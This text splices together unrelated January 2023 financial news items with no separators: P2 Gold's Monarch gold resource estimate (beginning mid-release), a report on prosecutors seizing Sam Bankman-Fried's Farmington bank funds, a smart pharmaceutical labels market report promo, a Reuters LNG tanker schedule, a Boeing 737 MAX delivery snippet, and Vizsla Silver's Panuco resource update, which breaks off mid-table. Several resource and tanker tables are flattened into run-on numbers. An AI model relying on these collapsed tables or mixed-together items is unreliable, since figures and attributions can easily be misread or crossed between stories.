The Monarch MRE was prepared by P&E Mining Consultants Inc. (P&E), based on six diamond drill holes (836 metres) completed by the Company in 2021 and 95 diamond drill holes (13,958 metres) completed by the Company in 2022. A National Instrument 43-101 Technical Report will be prepared by P&E and posted on www.p2gold.com and under the Company's profile on www.SEDAR.com within 45 days of the date of this news release.



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Table 1: January 2023 BAM Project, Monarch Gold Zone, Pit Constrained Inferred Mineral Resource Estimate(1-5)



Tonnes

(M)

Gold Grade

(g/t) Silver

Grade

(g/t)

Gold

(M oz)

Silver

(M oz) Gold Eq.

Grade

(g/t)

Gold Eq.

(M oz) 27.2 0.59 2.52 0.52 2.21 0.62 0.55

(1) Mineral Resources which are not Mineral Reserves do not have demonstrated economic viability. The estimate of Mineral Resources may be materially affected by environmental, permitting, legal, title, taxation, sociopolitical, marketing, or other relevant issues.

(2) The Inferred Mineral Resource in this estimate has a lower level of confidence than that applied to an Indicated Mineral Resource and must not be converted to a Mineral Reserve. It is reasonably expected that the majority of the Inferred Mineral Resource could be upgraded to an Indicated Mineral Resource with continued exploration.

(3) The Mineral Resources in this press release were estimated using the Canadian Institute of Mining, Metallurgy and Petroleum (CIM), Standards on Mineral Resources and Reserves, Definitions (2014) and Best Practices (2019) prepared by the CIM Standing Committee on Reserve Definitions and adopted by CIM Council.

(4) The Mineral Resource Estimate was prepared for a potential open pit scenario using a constraining pit shell (with 50 degree slopes) at a 0.2 g/t gold equivalent cut-off grade. The gold equivalent cut-off grade was derived from US$1,800/oz gold, US$24/oz silver, CAD:USD of 0.77, C$2.50/tonne mining cost, C$12.00/tonne milled processing costs, C$1.50/tonne G&A cost, and 90% and 80% gold and silver process recoveries, respectively.

(5) Gold equivalent g/t = Gold g/t + (Silver g/t x 0.012)

BAM Project, Monarch Gold Zone Mineral Resource Estimate Cut-Off Grade Sensitivities

The Monarch MRE sensitivity table, Table 2 below, shows the potential for higher-grade Mineral Resources at higher gold equivalent cut-offs, which potential can be assessed during engineering studies.

Table 2: January 2023 BAM Project, Monarch Gold Zone Pit Constrained Inferred Mineral Resource Estimate Cut-Off Grade Sensitivities(1-2)

Cut-Off

Gold Eq.

(g/t)

Tonnes

(M) Gold

Grade

(g/t) Silver

Grade

(g/t)

Gold

(M oz)

Silver

(M oz) Gold Eq.

Grade

(g/t)

Gold Eq.

(M oz) 0.6 10.2 0.97 3.04 0.32 0.99 1.00 0.33 0.4 18.0 0.75 2.82 0.43 1.63 0.78 0.45 0.2 27.2 0.59 2.52 0.52 2.21 0.62 0.55

(1) Refer to the footnotes to the Mineral Resource Estimate in Table 1 of this Press Release.

(2) The Mineral Resource Estimate cut-off grade sensitivities in Table 2 are a subset of the Mineral Resource Estimate in Table 1.

2023 BAM Exploration Program

The focus of the 2022 BAM Drill Program was to attempt to define the limits of the epithermal surface mineralization at the Monarch Gold Zone and provide geologic information to aid in the interpretation of the airborne and ground geophysical surveys. This interpretation of the geophysical surveys is essential to the discovery of the higher-grade feeder systems for the near-surface epithermal gold mineralization and any associated porphyry mineralization at depth.

During 2023, crews are expected to mobilize to BAM in mid-May with the first drill mobilized to site in early to mid-June. A three-dimensional geophysics interpretation of the BAM Project, incorporating the results of the natural source magneto-telluric (NSMT) geophysical survey and the Z-Tipper Axis Electromagnetic (ZTEM) airborne geophysical survey is expected to be completed shortly. This interpretation will be compiled with the available drill data and surface mapping to develop targets for the 2023 BAM Exploration Program to test for the feeder zones and the porphyry system at depth.

Quality Assurance

The Monarch MRE was prepared under the supervision of Eugene Puritch, P.Eng., FEC, CET of P&E Mining Consultants Inc. of Brampton, Ontario, who is an Independent Qualified Person, as defined by National Instrument 43-101. Mr. Puritch has reviewed and approved the technical contents of this news release relating to the Monarch MRE.

Ken McNaughton, M.A.Sc., P.Eng., Chief Exploration Officer, P2 Gold, is the Qualified Person, as defined by National Instrument 43-101, responsible for the BAM Project. Mr. McNaughton has reviewed, verified, and approved the scientific and technical information in this news release.

About P2 Gold Inc.

P2 Gold is a mineral exploration and development company focused on advancing precious metals and copper discoveries and acquisitions in the western United States and British Columbia.

For further information, please contact:

Joseph Ovsenek

President & CEO

(778) 731-1055



P2 Gold Inc.

Suite 1100, 355 Burrard Street

Vancouver, BC

V6C 2G8

info@p2gold.com

(SEDAR filings: P2 Gold Inc.) Michelle Romero

Executive Vice President

(778) 731-1060





Neither the TSX Venture Exchange (the Exchange) nor its Regulation Services Provider (as that term is defined in the policies of the Exchange) accepts responsibility for the adequacy or accuracy of this release.

Forward Looking Information

This press release contains forward-looking information within the meaning of applicable securities laws that is intended to be covered by the safe harbours created by those laws. Forward-looking information includes statements that use forward-looking terminology such as may, will, expect, anticipate, believe, continue, potential or the negative thereof or other variations thereof or comparable terminology. Such forward-looking information includes, without limitation, information with respect to the Companys expectations, strategies and plans for the BAM Project including the Monarch MRE and the Companys planned expenditures and exploration activities.

Forward-looking information is not a guarantee of future performance and is based upon a number of estimates and assumptions of management at the date the statements are made. Furthermore, such forward-looking information involves a variety of known and unknown risks, uncertainties and other factors which may cause the actual plans, intentions, activities, results, performance or achievements of the Company to be materially different from any future plans, intentions, activities, results, performance or achievements expressed or implied by such forward-looking information. See Risk Factors in the Companys annual information form for the year ended December 31, 2021, dated March 31, 2022 filed on SEDAR at www.sedar.com for a discussion of these risks.

The Company cautions that there can be no assurance that forward-looking information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information. Accordingly, investors should not place undue reliance on forward-looking information.

Except as required by law, the Company does not assume any obligation to release publicly any revisions to forward-looking information contained in this press release to reflect events or circumstances after the date hereof.

A graphic accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/10a7eb70-ffca-4caf-ba86-decd0f589daa




Sam Bankman-Fried shown alongside his attorneys in a courtroom sketch. Jane Rosenberg/Reuters

Prosecutors have seized just under $50 million from Sam Bankman-Fried's Farmington State Bank account.

The bank had just three employees and specialized in agricultural loans to farmers until March 2022.

Bankman-Fried's trading firm Alameda Research later took a stake in Farmington  at which time it rebranded as "Moonstone".

Disgraced FTX founder Sam Bankman-Fried held just under $50 million in an account with a little known bank located in rural Washington state, according to a court filing published Friday.

Prosecutors said that on January 4 they seized $49,999,500 that Bankman-Fried had deposited with Farmington State Bank, as part of an effort to track down nearly $700 million worth of assets for forfeiture.

Bankman-Fried's Alameda Research trading firm bought an $11.5 million stake in Farmington in March last year  which accounted for more than double the bank's entire net worth at the time.

Until then, the little known bank had been the US's 26th-smallest out of around 4,800. It's based in Farmington, WA  which has just 146 residents and is so small that Google Street View doesn't even cover the whole town.

Farmington had just three employees, specialized in agricultural loans to farmers, and didn't offer online banking or credit cards at the time of Bankman-Fried's investment, according to a November New York Times report.

At the time of the NYT report, the bank said it had 32 employees and a $115 million valuation "consistent with other similar technology banks and trust-banks startups".

The bank trademarked the name "Moonstone" a few days before Alameda's investment and until recently was listed as "Moonstone Bank" online. While its website didn't mention cryptocurrencies directly, it said it wanted to "support the evolution of next generation finance".

The tiny rural bank said last week that it'd be retiring the Moonstone name and returning to its roots as a community bank, with crypto hit by waves of high-profile bankruptcies and liquidity crises over the past year.

Story continues

"The change in strategy reflects the impact of recent events in the crypto assets industry and the resultant changing regulatory environment relating to crypto asset businesses," Farmington said in a statement published January 18.

Federal prosecutors are working to track down assets held by Bankman-Fried, who pleaded not guilty to eight charges of fraud earlier this month and is scheduled to face trial in October. They allege that he used FTX customers' money to prop up Alameda.

As well as the cash he had deposited with Farmington, they have seized just over $100 million in an account with the crypto-focused bank Silvergate Capital and $21 million with the brokerage firm ED&F Man Capital Markets.

US authorities also seized around 55 million Robinhood shares, worth $526 million as of Friday's closing bell, and are investigating crypto and cash held by Bankman-Fried in three accounts with rival crypto exchange Binance.

Read more: FTX founder Sam Bankman-Fried will have to forfeit $700 million if he's found guilty of fraud  and it's mainly in Robinhood stock

Read the original article on Business Insider
ReportLinker

INTRODUCTION. The annual market for counterfeit drugs is estimated to be USD 200 billion and this value is believed to be expanding rapidly. As per a report published by the World Health Organization (WHO), 20% of counterfeit pharmaceuticals include an incorrect amount of the active ingredient, while 30% of the counterfeit drugs contain no active ingredient at all.

New York, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Smart Labels Market by Type of Technology, Type of Packaging, Type of Primary Packaging, Type of Secondary Packaging and Key Geographical Regions - Industry Trends and Global Forecasts, 2022-2035" - https://www.reportlinker.com/p06374683/?utm_source=GNW

Such illegal practices are likely to endanger the lives of the patients, as well as tarnish the developer companys reputation. In order to overcome the aforementioned concerns, label service providers have strengthened the ongoing labelling practices and are shifting towards smart labelling technologies. A smart label comprises of printed information, a bar code identifier and a small transponder. This transponder contains a processing chip and an antenna that allows physical objects to communicate with the tag reader (for instance, RFID reader). Smart labels offer several benefits, such as tracing and tracking products in a supply chain, and tamper proofing, discouraging counterfeiters from packaging fake drugs. In this context, it is worth mentioning that the smart labelling technology is expected to save USD 0.8 - 1.5 million per year per company, through their applications in inventory management. Despite numerous growth drivers for adopting smart label technologies, there are some factors that may hinder the immediate uptake of smart label technologies. These include high price of integrating the technology as well as lack of well-established regulatory standards across the globe. Such considerations may also prevent investment opportunities for smart label technologies. It is worth highlighting that, in the recent years, consortiums, such as GS1 standards and RAIN Alliance, have been established to standardize global regulations.



At present, various types of smart labels, including radio frequency identification device labels (RFID), internet of things (IoT) labels, bluetooth labels and others, are being deployed across various applications in the pharmaceutical and healthcare markets; these include supply chain management, asset tracking, patient tracking and clinical trial labelling. Currently, more than 90 companies are engaged in providing these labels for various applications. In addition, with an aim to diversify their area of application and enhance their existing product portfolios, players engaged in providing smart pharmaceutical and healthcare labels are actively collaborating with other industry stakeholders. It is also worth mentioning that over 400 patents related to smart labels have been filed / granted, highlighting the continuous pace of innovation in this field. Driven by the growing demand for authentic and efficient drugs and ongoing efforts of players to integrate sophisticated features in the product design and affiliated technology, the smart pharmaceutical and healthcare labels market is likely to witness noteworthy growth over the coming years.



SCOPE OF THE REPORT

The Smart Pharmaceutical and Healthcare Labels Market by Type of Technology (RFID, NFC and Other Technologies), Type of Packaging (Primary Packaging and Secondary Packaging), Type of Primary Packaging (Vials, Syringes, Cartridges, Ampoules, Bottles and Blister Packs), Type of Secondary Packaging (Boxes, Cartons and Pouches) and Key Geographical Regions (North America, Europe, Asia Pacific, MENA and Latin America) - Industry Trends and Global Forecasts, 2022-2035 report features an extensive study of the current market landscape and future opportunities associated with the smart pharmaceutical and healthcare labels, offering in-depth analyses of the various business entities engaged in this domain, across key global regions. Amongst other elements, the report includes:

A brief overview of smart labels, along with the information on their role and advantages in healthcare sector, along with details on the types of smart labels, featuring their applications in the pharmaceutical and healthcare domain. In addition, it includes a discussion on various challenges associated with the adoption of smart labels, future perspectives, and the factors driving the smart pharmaceutical and healthcare labels industry.

A detailed review of the overall landscape of players engaged in the smart pharmaceutical and healthcare label providers domain, along with information on type of technology (including RFID labels, Bluetooth labels, sensing labels and IoT labels), RFID frequency band (low frequency, high frequency, NFC and ultra-high frequency and unspecified) and area(s) of application (supply chain management, asset tracking, patient centricity, patient tracking, payment tracking, product authentication, clinical trial labelling, blood bag management, other application(s))

A detailed competitiveness analysis of companies engaged in the development of smart pharmaceutical and healthcare labels, based on their supplier strength (in terms of years of experience and company size), service strength (based on the type of area(s) of application and type of RFID frequency band) and portfolio strength (in terms of number of technology).

Elaborate profiles of prominent players (shortlisted on the basis of number of application area and company size) that claim to specialize in offering smart pharmaceutical and healthcare labels. Each profile features a brief overview of the company, along with information on their year of establishment, number of employees, location of headquarters, key executives, as well as details related to their smart labels focused portfolio, recent developments and an informed future outlook.

An in-depth analysis of patents related to smart pharmaceutical and healthcare labels that have been filed / granted till date, based on several relevant parameters, such as type of patent, publication year, geographical location / patent jurisdiction, legal status, CPC symbols, type of industry, type of applicant and leading players (in terms of number of patents filed / granted). In addition, it features a patent valuation analysis which evaluates the qualitative and quantitative aspects of the patents filed / granted in this industry.

A detailed analysis of the partnerships and collaborations inked in the domain, during the period 2018-2022, based on several parameters, such as year of partnership, type of partnership, most active player and region.

A detailed analysis of the current and future market based on blue ocean strategy, covering a strategic plan / guide for emerging players in this domain to help unlock an uncontested market, featuring thirteen strategic tools that can help software developers to shift towards a blue ocean strategic market.

A detailed discussion on affiliated trends, key drivers and challenges, under a SWOT framework, which are likely to impact the industrys evolution, along with a Harvey ball analysis, highlighting the relative effect of each SWOT parameter on the overall smart pharmaceutical and healthcare labels market.



One of the key objectives of the report was to understand the primary growth drivers and estimate the future size of the smart pharmaceutical and healthcare labels market, over the coming years. We have provided informed estimates on the evolution of the market in the short to mid-term and mid to long term, for the period 2022-2035. Additionally, our year-wise projections of the current and future opportunity have been segmented based on relevant parameters, such as [A] type of technology (RFID Labels, NFC Labels and other Labels), [B] type of packaging (primary packaging and secondary packaging), [C] type of primary packaging (vials, syringes, cartridges, ampoules, bottles and blister packs), [D] type of secondary packaging (boxes, cartons and pouches) and [E] key geographical regions (North America, Europe, Asia Pacific, MENA and Latin America). In order to account for future uncertainties and to add robustness to our model, we have provided three market forecast scenarios, namely conservative, base and optimistic scenarios, representing different tracks of the industrys growth.



All actual figures have been sourced and analyzed from publicly available information forums and primary research discussions. Financial figures mentioned in this report are in USD, unless otherwise specified.



RESEARCH METHODOLOGY

The data presented in this report has been gathered and secondary research. For all our projects, we conduct interviews with the domain experts (academia, industry, medical practice and other associations) to solicit their opinions on emerging trends in the market. This is primarily useful for us to draw an opinion on how the market will evolve across different regions and technology segments. Where possible, the available data has been checked for accuracy from multiple sources of information.



The secondary sources of information include:

Annual reports

Investor presentations

SEC filings

Industry databases

News releases from company websites

Government policy documents

Industry analysts views



While the report focuses on forecasting the market till 2035, it also provides our independent view on various emerging trends in the industry. This opinion is solely based on our knowledge, research and understanding of the relevant market, gathered from various secondary and primary sources of information.



KEY QUESTIONS ANSWERED

Who are the leading players engaged in the development of smart pharmaceutical and healthcare labels?

What is the relative competitiveness of different smart pharmaceutical and healthcare labels providers?

Which type of partnership models are most commonly being adopted by stakeholders engaged in this domain?

What are the key strategies that can be implemented by emerging players / start-ups to enter the highly competitive market for smart labels?

Which companies are actively filing patents to drive innovation in the field of smart pharmaceutical and healthcare labels?

What are the key challenges associated within the smart pharmaceutical and healthcare labels market?

What is the current / likely future market size of smart pharmaceutical and healthcare labels?



CHAPTER OUTLINES



Chapter 2 is an executive summary of the key insights captured in our research. It offers a high-level view on the current state of the smart pharmaceutical and healthcare labels market and its likely evolution in the short to mid-term, and long term.



Chapter 3 A brief overview of smart labels, along with the information on their role and advantages in healthcare sector. Further, it highlights the types of smart labels, along with their applications in the pharmaceutical and healthcare domain. The chapter further mentions various challenges associated with the adoption of smart pharmaceutical and healthcare labels. In addition, it includes a discussion on future perspectives for this market, specifically highlighting the factors driving the smart pharmaceutical and healthcare labels industry.



Chapter 4 provides a detailed review of the overall landscape of players engaged in the smart pharmaceutical and healthcare label providers domain, along with information on type of technology (including RFID labels, Bluetooth labels, sensing labels and IoT labels), RFID frequency band (low frequency, high frequency, NFC and ultra-high frequency and unspecified) and area(s) of application (supply chain management, asset tracking, patient centricity, patient tracking, payment tracking, product authentication, clinical trial labelling, blood bag management, other application(s))



Chapter 5 provides a detailed competitiveness analysis of companies engaged in the development of smart pharmaceutical and healthcare labels, based on their supplier strength (in terms of years of experience and company size), service strength (based on the type of area(s) of application and type of RFID frequency band) and portfolio strength (in terms of number of technology).



Chapter 6 provides elaborate profiles of prominent players (shortlisted on the basis of number of application area and company size) that claim to specialize in offering smart pharmaceutical and healthcare labels. Each profile features a brief overview of the company, along with information on their year of establishment, number of employees, location of headquarters, key executives, as well as details related to their smart labels focused portfolio, recent developments and an informed future outlook.



Chapter 7 provides an in-depth analysis of patents related to smart pharmaceutical and healthcare labels that have been filed / granted till date, based on several relevant parameters, such as type of patent, publication year, geographical location / patent jurisdiction, legal status, CPC symbols, type of industry, type of applicant and leading players (in terms of number of patents filed / granted). In addition, it features a patent valuation analysis which evaluates the qualitative and quantitative aspects of the patents filed / granted in this industry.



Chapter 8 provides a detailed analysis of the partnerships and collaborations inked in the domain, during the period 2018-2022, based on several parameters, such as year of partnership, type of partnership, most active player and region.



Chapter 9 provides a detailed analysis of the current and future market based on blue ocean strategy, covering a strategic plan / guide for emerging players in this domain to help unlock an uncontested market, featuring thirteen strategic tools that can help software developers to shift towards a blue ocean strategic market.



Chapter 10 presents an insightful market forecast analysis, highlighting the likely growth of smart pharmaceutical and healthcare labels market till 2035. Additionally, our year-wise projections of the current and future opportunity have further been segmented based on several relevant parameters, such as type of technology (RFID labels, NFC labels and Other labels), type of packaging (primary packaging and secondary packaging), primary packaging (vials, syringes, cartridges, ampoules, bottles and blister packs), secondary packaging (boxes, cartons and pouches) and key geographical regions (North America, Europe, Asia Pacific, MENA and Latin America).



Chapter 11 provides a detailed discussion on affiliated trends, key drivers and challenges, under a SWOT framework, which are likely to impact the industrys evolution, along with a Harvey ball analysis, highlighting the relative effect of each SWOT parameter on the overall smart pharmaceutical and healthcare labels market.



Chapter 12 summarizes the overall report, wherein we have mentioned all the key facts and figures described in the previous chapters. The chapter also highlights important evolutionary trends that were identified during the course of the study and are expected to influence the future of the smart pharmaceutical and healthcare labels market.



Chapter 13 is an appendix, which provides tabulated data and numbers for all the figures included in the report.



Chapter 14 is an appendix, which contains a list of companies and organizations mentioned in this report.

Read the full report: https://www.reportlinker.com/p06374683/?utm_source=GNW



About Reportlinker

ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place.



__________________________

Story continues

CONTACT: Clare: clare@reportlinker.com US: (339)-368-6001 Intl: +1 339-368-6001




(Removes Minerva Chios after it leaves port; shows Kool Orca, Flex Rainbow are docked; adds Gaslog Hong Kong) Jan 24 (Reuters) - The following liquefied natural gas (LNG) tankers are expected to arrive in Britain, Belgium and the Netherlands in the coming weeks. Estimated arrival dates, often revised by port authorities and AIS Live ship-tracking data on Refinitiv Eikon, are updated below. Some tankers heading for Belgium and Britain may be loading at the terminal. Those expected to load are indicated with an (). Those likely to perform ship-to-ship transfers are indicated with (STS). Tankers that have docked are indicated with (A). Floating storage and regasification unit (FSRU) terminals are added to the table when they near deployment. As of Dec. 27 2022, this includes the Eemshaven terminal in the Netherlands, the Wilhelmshaven and Lubmin terminals in Germany. For the Reuters LNG guide, click here: LNG TANKER CAPACITY in EXPECTED ARRIVAL FROM PORT cubic metres BRITAIN Fuwairit 138,000 Jan. 23 (A) Qatar South Hook Kool Orca 174,000 Jan. 24 (A) United States Isle of Grain Magdala 173,000 Jan. 24 Unites States Dragon BW Paris 159,000 Jan. 25 United States South Hook British Achiever 174,000 Jan. 25 United States South Hook Global Sealine 179,000 Jan. 27 United States South Hook SM Bluebird 170,000 Jan. 28 Peru Dragon BW Pavilion Aranda 171,000 Jan. 28 United States Isle of Grain Mozah 262,000 Jan. 28 Qatar Milford Haven Stena Crystal Sky 173,000 Jan. 29 United States Isle of Grain Ribero Duero Knutsen 173,000 Jan. 31 United States Isle of Grain Vivirt City Lng 170,000 Feb. 1 United States Milford Haven Minerva Amorgos 170,000 Feb. 3 United States South Hook Seapeak Magellan 163,000 Feb. 4 United States Milford Haven Gaslog Hong Feb. 10 United Kong States South Hook Santander Knutsen 170,000 Feb. 13 Peru Milford Haven BELGIUM SCF La Perouse 174,000 Jan. 24 Britain Zeebrugge Flex Rainbow 174,000 Jan. 24 (L)(A) N/A Zeebrugge Vladimir Rusanov 169,000 Jan. 25 (STS) (L) Russia Zeebrugge Yari LNG 158,000 Jan. 25 (L) N/A Zeebrugge Al Zubarah 138,000 Jan. 27 Qatar Zeebrugge Rudolf Samoylovich 170,000 Jan. 28 N/A Zeebrugge Adamastos 174,000 Jan. 30 United States Zeebrugge Clean Horizon 159,000 Jan. 30 Qatar Zeebrugge Nikolay Yevgenov 172,000 Jan. 31 Russia Zeebrugge Al Jassasiya 144,000 Feb. 1 Qatar Zeebrugge LNG Dubhe 174,000 Feb. 2 (L) N/A Zeebrugge Clean Planet 159,000 Feb. 9 (L) Russia Zeebrugge NETHERLANDS La Mancha Knutsen 174,000 Jan. 25 United States Gate LNG Rosenrot 177,000 Jan. 27 United States Gate GERMANY Malanje 161,000 Jan. 24 Angola Wilhelmshaven Diamond Gas Victoria 174,000 Jan. 23 (A) United States Wilhelmshaven Cool Voyager 158,000 Jan. 29 United States Lubmin Sources: Ports, AIS Live ship tracking, Refinitiv Eikon data. (^) Partial unload (*) Arrival date estimated based on flows data (Reporting by Nora Buli)
The Wall Street Journal

Boeing said it was pausing deliveries of some 737 MAX jets because of incorrectly installed parts, disrupting an important business line as the plane maker seeks to improve its finances. The company said Thursday there would be a significant impact on near-term deliveries of the 737 MAX 7, 737 MAX 8 and larger MAX 8-200 jets, as well as the P-8 military reconnaissance planes that are also based on the 737. Boeing said it was notified by a supplier of a nonstandard manufacturing process used to install two fittings at the rear of the plane.
NYSE: VZLA TSX-V: VZLA

VANCOUVER, BC, Jan. 24, 2023 /CNW/ - Vizsla Silver Corp. (NYSE: VZLA) (TSXV: VZLA) (Frankfurt: 0G3) ("Vizsla Silver" or the "Company") is pleased to announce an updated mineral resource estimate ("Updated Mineral Resource Estimate") for its flagship, 100% owned Panuco silver-gold project (the "Project" or "Panuco") located in Sinaloa, Mexico. The Updated Mineral Resource Estimate was completed by Allan Armitage, Ph.D., P.Geo., of SGS Geological Services.

Vizsla Silver Corp. Logo (CNW Group/Vizsla Silver Corp.)

Highlights of the Updated Mineral Resource Estimate including comparison to the maiden mineral resource estimate released in March 2022:

71% increase in indicated mineral resources from 61.1 to 104.8 Moz AgEq

150% increase in inferred mineral resources from 45.6 to 114.1 Moz AgEq

14% increase in average indicated mineral resource grade from 383 to 437 g/t AgEq

42% increase in average inferred mineral resource grade from 345 to 491 g/t AgEq

Copala Structure

Copala indicated mineral resources hosts 51.1 Moz AgEq an increase of 701%, at a grade of 516 g/t AgEq

Copala inferred mineral resources hosts 55.4 Moz AgEq an increase of 198%, at a grade of 617 g/t AgEq

Copala wireframe averages 10m in thickness

Key Statistics

93% of the value of the Updated Mineral Resource Estimate is comprised of precious metals, including 59% from silver

A total of 10 epithermal veins were included in the Updated Mineral Resource Estimate, representing ~10% of the known vein strike in the district

Total all-in exploration cost of US$0.19/oz AgEq discovered (US$0.15/oz AgEq discovered since March 2022)

Indicated Mineral Resources are estimated at 7.5 million tonnes ("Mt") grading 243 grams per tonne ("g/t") silver, 2.12 g/t gold, 0.23% lead, and 0.71% zinc (437 g/t silver equivalent ("AgEq")). The Updated Mineral Resource Estimate includes indicated mineral resources of 58.3 million ounces ("Moz") of silver, 508 thousand ounces ("koz") of gold, 17.0 kilo tonnes ("kt") of lead, and 53.3 kt of zinc (104.8 Moz AgEq).

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Inferred Mineral Resources are estimated at 7.2 Mt grading 304 g/t silver, 2.14 g/t gold, 0.19% lead, and 0.54% zinc (491 g/t AgEq). The Updated Mineral Resource Estimate includes inferred mineral resources of 70.7 Moz of silver, 496 koz of gold, 13.6 kt of lead, and 39.3 kt of zinc (114.1 Moz AgEq).

The Updated Mineral Resource Estimate is centred on the western portion of Panuco, encompassing ~8 km of the known 86 km of cumulative vein strike in the district. The Updated Mineral Resource Estimate includes 198 new infill/expansion holes (82,140 metres) completed by Vizsla Silver between December 2021 and September 2022. In total, the updated Mineral Resource Estimate is based on a total drill database of 644 holes (202,709 metres) completed by Vizsla Silver since November 2019.

"We are very pleased to deliver this updated resource, representing yet another major milestone for Vizsla Silver as we continue to grow and de-risk the high-grade mineralization at Panuco," commented Michael Konnert, President and CEO. "We have now delineated approximately 60 million ounces of silver and 508 thousand ounces of gold in the indicated category and 70 million ounces of silver and 496 thousand ounces of gold in the inferred category with significant upside potential remaining in the district. Most impressive is the material growth to the precious metals-rich Copala structure, where successful drilling throughout 2022 contributed to a 701% increase in indicated mineral resources to 51.1Moz AgEq and a 198% increase in inferred mineral resources to 55.4 Moz AgEq. Additionally, the inclusion of the high-grade Cristiano structure, which can conceptually be developed alongside Copala, represents a near surface high grade feed source. The updated resource estimate comes only 10 months from the maiden resource estimate at a discovery cost of US$0.15 per added ounce and is based on a total of 10 veins representing only 10% of the known vein strike in the district. Going forward, the Company plans to continue its ongoing aggressive exploration of the district with seven drill rigs focused on category conversion, incremental expansion and testing new targets. This, along with previous drilling completed toto date, will support a potential mineral resource estimate update in the second half of 2023. This is an incredible achievement that required substantial effort from the entire Vizsla Silver team, including our contractors and local communities. I want to thank everyone involved for their commitment and contribution to this achievement and look forward to another successful year of growth and discovery in 2023."

Vizsla Silver will be hosting a webcast to discuss the Updated Mineral Resource Estimate at 8:00am PT on Wednesday, January 25, 2023. To register, please click here.

A technical report is being prepared on the Updated Mineral Resource Estimate in accordance with National Instrument 43-101 ("NI-43-101") and will be available on the Company's website and SEDAR within 45 days of the date of this release. The effective date of the Updated Mineral Resource Estimate is January 12, 2023.

Panuco Project Resource Summary  January 2023 (150 g/t AgEq cut-off)

Classification Tonnes Average Grade Contained Metal Ag Au Pb Zn AgEq Ag Au Pb Zn AgEq (Mt) (g/t) (g/t) ( %) ( %) (g/t) (koz) (koz) (kt) (kt) (koz) Maiden Mineral Resource Estimate1 Indicated 5.0 191 2.08 0.26 0.50 383 30,501 331 13.0 24.6 61,137 Inferred 4.1 187 1.79 0.13 0.30 345 24,704 236 5.3 12.4 45,555 Updated Mineral Resource Estimate2 Indicated 7.5 243 2.12 0.23 0.71 437 58,330 508 17.0 53.3 104,793 Inferred 7.2 304 2.14 0.19 0.54 491 70,672 496 13.6 39.3 114,113

1 AgEq = Ag ppm + (((Au ppm x Au price/gram) + (Pb% x Pb price/t) + (Zn% x Zn price/t))/Ag price/gram). Metal price assumptions are $20.70/oz silver, $1,655/oz gold, $1,902/t lead, $2,505/t zinc. 2 AgEq = Ag ppm + (((Au ppm x Au price/gram) + (Pb% x Pb price/t) + (Zn% x Zn price/t))/Ag price/gram). Metal price assumptions are $24.00/oz silver, $1,800/oz gold, $2,425/t lead and $2,976/t zinc.

Panuco Project Indicated & Inferred Mineral Resource Summary by Vein (150 g/t AgEq cut-off)

Classification Tonnes Average Grade Contained Metal Ag Au Pb Zn AgEq Au Eq Ag Au Pb Zn AgEq AuEq (Mt) (g/t) (g/t) ( %) ( %) (g/t) (g/t) (koz) (koz) (kt) (kt) (koz) (koz) Indicated Copala 3.1 343 2.22 0.06 0.12 516 6.88 33,999 220 1.9 3.6 51,106 681 Tajitos 0.6 329 2.09 0.10 0.17 496 6.62 6,197 39 0.6 1.0 9,337 124 Cristiano 0.2 414 2.54 0.08 0.19 614 8.19 2,022 12 0.1 0.3 3,003 40 Copala Area Total 3.8 344 2.21 0.07 0.13 517 6.89 42,218 271 2.6 4.9 63,446 846 Napoleon 3.3 135 1.99 0.41 1.39 351 4.68 14,186 209 13.5 45.2 36,814 491 Napoleon HW 0.3 151 1.45 0.22 0.79 298 3.97 1,407 14 0.6 2.3 2,767 37 Josephine 0.1 179 5.13 0.33 0.94 610 8.13 519 15 0.3 0.8 1,766 24 NP Area Total 3.6 138 2.02 0.40 1.33 353 4.71 16,112 237 14.4 48.3 41,347 551 Total Indicated 7.5 243 2.12 0.23 0.71 437 5.83 58,330 508 17.0 53.3 104,793 1,397 Inferred Copala 2.8 433 2.31 0.11 0.21 617 8.23 38,838 207 3.2 5.7 55,409 739 Tajitos 0.7 340 2.08 0.20 0.32 514 6.85 7,740 47 1.4 2.3 11,713 156 Cristiano 0.4 604 3.82 0.18 0.32 908 12.11 7,494 47 0.7 1.2 11,273 150 Copala Area Total 3.9 433 2.42 0.14 0.24 627 8.36 54,072 302 5.3 9.3 78,395 1,045 Napoleon 1.7 149 1.59 0.29 1.06 318 4.24 8,129 87 4.9 18.1 17,393 232 Napoleon HW 0.4 176 1.58 0.23 1.00 341 4.54 2,025 18 0.8 3.6 3,910 52 Josephine 0.2 110 3.28 0.24 0.67 389 5.19 817 24 0.5 1.6 2,891 39 Cruz 0.4 123 2.62 0.24 1.16 371 4.95 1,490 32 0.9 4.4 4,514 60 NP Area Total 2.7 145 1.88 0.27 1.03 335 4.46 12,461 161 7.2 27.6 28,708 383 San Antonio 0.3 226 1.30 0.01 0.03 325 4.33 2,038 12 0.0 0.1 2,936 39 *Animas 0.4 169 1.68 0.29 0.60 327 4.37 2,101 21 1.1 2.3 4,074 54 Total Inferred 7.2 304 2.14 0.19 0.54 491 6.55 70,672 496 13.6 39.3 114,113 1,521 *Animas is Rosarito and Cuevillas veins















































Note:

AgEq = Ag ppm + (((Au ppm x Au price/gram) + (Pb% x Pb price/t) + (Zn% x Zn price/t))/Ag price/gram). Metal price assumptions are $24.00/oz silver, $1,800/oz gold, $2,425/t lead and $2,976/t zinc.

AuEq = Au ppm + (((Ag ppm x Ag price/gram) + (Pb% x Pb price/t) + (Zn% x Zn price/t))/Au price/gram). Metal price assumptions are $24.00/oz silver, $1,800/oz gold, $2,425/t lead and $2,976/t zinc.

Panuco Project Indicated & Inferred Mineral Resource Sensitivity Table

Classification

COG AgEq Tonnes Average Grade Contained Metal Ag Au Pb Zn AgEq Ag Au Pb Zn AgEq (Mt) (g/t) (koz) ( %) ( %) (g/t) (koz) (koz) (kt) (kt) (koz) Indicated:





















>=300 ppm 3.8 380 3.28 0.24 0.70 661 45,989 397 9.1 26.5 79,969 >=250 ppm 4.6 339 2.92 0.24 0.73 594 49,543 428 10.8 33.2 86,858 >=200 ppm 5.7 294 2.54 0.24 0.73 520 53,574 464 13.4 41.4 94,831 >=150 ppm 7.5 243 2.12 0.23 0.71 437 58,330 508 17.0 53.3 104,793 >=120 ppm 9.0 213 1.86 0.22 0.69 386 61,400 537 19.5 61.7 111,255 >100 ppm 10.2 194 1.70 0.21 0.66 354 63,419 554 21.1 67.3 115,469 Inferred:





















